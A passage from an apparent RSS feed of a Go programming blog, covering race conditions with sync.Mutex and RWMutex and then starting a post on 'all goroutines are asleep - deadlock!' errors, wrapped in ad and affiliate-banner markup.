nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Everything is perfect, isn&amp;rsquo;t it? No, the code is so small and the process happens so fast that you don&amp;rsquo;t notice the problem.&lt;/p&gt;&#xA;&lt;p&gt;If we add a small waiting time in the goroutines (which can be caused by a database access or any other process), we will face the problem head on.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sync&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tokens &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;120&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; tokens&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sleep&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Millisecond) &lt;span style=&#34;color:#78787e&#34;&gt;// Tiempo de espera&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens = tokens_leidos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(tokens)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing the code, instead of the correct result, I get 140 with 1 millisecond and 200 with one microsecond.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;detect-race-conditions-with-race&#34;&gt;Detect race conditions with &amp;ndash;race&lt;/h2&gt;&#xA;&lt;p&gt;To help us identify these problems, Go has a flag to detect race conditions, if we run the compilation with the &lt;em&gt;&amp;ndash;race&lt;/em&gt; flag we will see that go warns us that our code has race conditions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; build &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;race main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==================&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARNING: DATA RACE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Read at &lt;span style=&#34;color:#ff9f43&#34;&gt;0x0000005fe430&lt;/span&gt; by goroutine &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;#&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;preventing-race-conditions-with-mutex&#34;&gt;Preventing race conditions with Mutex&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;There is an object called Mutex (&lt;strong&gt;mut&lt;/strong&gt;ual &lt;strong&gt;ex&lt;/strong&gt;clusion) that will ensure that our code does not access a variable until we tell it to, preventing race conditions from occurring.&lt;/p&gt;&#xA;&lt;p&gt;Think of a mutex as a lock, which will block access to our code by other goroutines until we release it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; lock sync.Mutex&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Lock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Todo lo que está aquí está bloqueado para el resto de las goroutines&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Unlock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/mutex-lock-en-go.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/mutex-lock-en-go.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;The Lock method of Mutex blocks code access, while the Unlock method releases it&#34; width=&#34;1600&#34; height=&#34;1080&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;How Mutex works in go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If we protect the reading and writing of the tokens variable, our code should work perfectly. Even if we compile with the &lt;em&gt;&amp;ndash;race&lt;/em&gt; flag and run it, Go will no longer return a warning.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sync&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tokens &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;120&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; lock sync.Mutex&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Lock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;&lt;span style=&#34;color:#78787e&#34;&gt;// Todo lo que está aquí está bloqueado para el resto de las goroutines&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; tokens&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sleep&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Millisecond)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens = tokens_leidos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Unlock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(tokens)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;read-and-write-mutex&#34;&gt;Read and write mutex&lt;/h2&gt;&#xA;&lt;p&gt;In addition to the above mutex, Go has a lock called RWMutex, which allows, at any given time, only a single goroutine to write or multiple readers to read.&lt;/p&gt;&#xA;&lt;p&gt;RWmutex works by activating the lock when there is a process writing to the lock, during which time the contents of the lock cannot be read or written to. But when one process is reading, other processes can read as well.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; lock sync.RWMutex&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;RLock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Todo lo que está aquí está bloqueado para el resto de las goroutines&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;RUnlock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;useful-mutex-resources&#34;&gt;Useful mutex resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://cloudxlab.com/blog/race-condition-and-deadlock/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Race conditions&lt;/a&gt;&#xA; (en inglés)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In past posts I talked a bit about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/&#34;&gt;goroutines, deadlocks and channels&lt;/a&gt;&#xA;. But there is another quite interesting issue about goroutines that stands out when we use asynchrony and there are many functions accessing data at the same time and. Multiple functions reading and writing the same information can lead to chaotic situations where very strange things can happen.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: channels, understanding the goroutines deadlocks</title>
      <link>https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/</link>
      <pubDate>Wed, 26 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;When working with channels there is a quite common error that occurs when you are not familiar with the concepts, the error is &amp;ldquo;&lt;em&gt;fatal error: all goroutines are asleep - deadlock!&lt;/em&gt;&amp;rdquo;. The first time I saw this error I was perplexed and, although I knew how to fix it, I didn&amp;rsquo;t understand why it happened, so in this post I explain why it happens as I would have liked to have read it at the time.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-does-the-error-fatal-error-all-goroutines-are-asleep---deadlock-happen&#34;&gt;Why does the error fatal error: all goroutines are asleep - deadlock! happen?&lt;/h2&gt;&#xA;&lt;p&gt;This error occurs when:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A channel sends information, but no channel is there to receive it.&lt;/li&gt;&#xA;&lt;li&gt;There is a channel that receives information, but not channel that sends it.&lt;/li&gt;&#xA;&lt;li&gt;When we are not inside a goroutine other than the one from the main function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In any of these cases the goroutines are &amp;ldquo;waiting&amp;rdquo; either to send or receive information, so we can say that we are &amp;ldquo;stuck&amp;rdquo; and that is when we receive the fatal error: all goroutines are asleep - deadlock!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media 